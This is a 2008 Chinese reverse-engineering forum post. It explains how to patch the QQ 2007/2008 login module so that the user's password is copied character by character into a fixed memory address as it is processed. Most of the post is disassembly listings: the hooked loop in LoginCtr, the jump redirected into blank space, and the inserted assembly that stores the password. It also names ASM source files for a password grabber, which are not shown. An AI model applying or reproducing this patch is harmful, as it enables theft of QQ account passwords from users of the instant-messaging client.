作 者: 4st0ne时 间: 2008-03-20,10:28
链 接: http://bbs.pediy.com/showthread.php?t=61577
本文参考于open[xgc]大侠的"利用Debug Api 获得QQ2007密码",我只是换了语言换了方法,其实思路还是一样的.再次对open[xgc]表示感谢.
标 题: 修改QQ执行顺序,获取QQ2008最新版密码
作 者: sLtYJ(4stone)
版权声明: 本文纯属技术交流, 转载请注明作者并保持文章的完整, 谢谢!
参考open[xgc]大侠的文章,找到2007 7.1.643.400版及2008 8.0.714.201版本QQ的密码出现点,修改代码跳转至空白位置,然后将代码按个写入自己找到的空白位置即可.
列出2007办部分修改后的代码:
021A638A |> /43 /
INC EBX021A638B |. |6A 01 |
PUSH 1
021A638D |. |8BC3 |
MOV EAX,
EBX021A638F |. |0FAFC6 |
IMUL EAX,
ESI021A6392 |8A4C08 FF
MOV CL,
BYTE PTR DS:[
EAX+
ECX-1]
021A6396 |E9 4F240100
JMP LoginCtr.021B87EA //修改点,跳至空白点
021A639B |90
NOP021A639C |90
NOP021A639D |90
NOP021A639E |90
NOP021A639F |90
NOP021A63A0 |. |50 |
PUSH EAX021A63A1 |884D D4
MOV BYTE PTR SS:[
EBP-2C],
CL021A63A4 |E8 4AD30000
CALL LoginCtr.021B36F3
021A63A9 |. |8B57 44 |
MOV EDX,
DWORD PTR DS:[
EDI+44]
021A63AC |. |83C4 0C |
ADD ESP, 0C
021A63AF |. |8B0A |
MOV ECX,
DWORD PTR DS:[
EDX]
021A63B1 |. |8B72 0C |
MOV ESI,
DWORD PTR DS:[
EDX+C]
021A63B4 |. |8B41 F8 |
MOV EAX,
DWORD PTR DS:[
ECX-8]
021A63B7 |. |99 |
CDQ021A63B8 |. |F7FE |
IDIV ESI021A63BA |3BD8
CMP EBX,
EAX021A63BC ^/7C CC
JL SHORT LoginCtr.021A638A
补上自己的代码:
021B87EA 52
PUSH EDX021B87EB BA 56CC1200
MOV EDX, 12CC56
021B87F0 03D3
ADD EDX,
EBX //借用QQ程序本身的
EBX计数器
021B87F2 36:880A
MOV BYTE PTR SS:[
EDX],
CL //向12CC56开始逐个写入密码
021B87F5 5A
POP EDX021B87F6 8D45 D4
LEA EAX,
DWORD PTR SS:[
EBP-2C]
021B87F9 50
PUSH EAX021B87FA 8D85 58FFFFFF
LEA EAX,
DWORD PTR SS:[
EBP-A8]
021B8800 ^ E9 9BDBFEFF
JMP LoginCtr.021A63A0 //跳回原处继续执行
021B8805 90
NOP用ASM代码实现如下:
GetQQpwd.Asm
GetQQpwd.inc
注:刚学ASM不久,代码可能显得很乱很烦,各位看官多多包涵.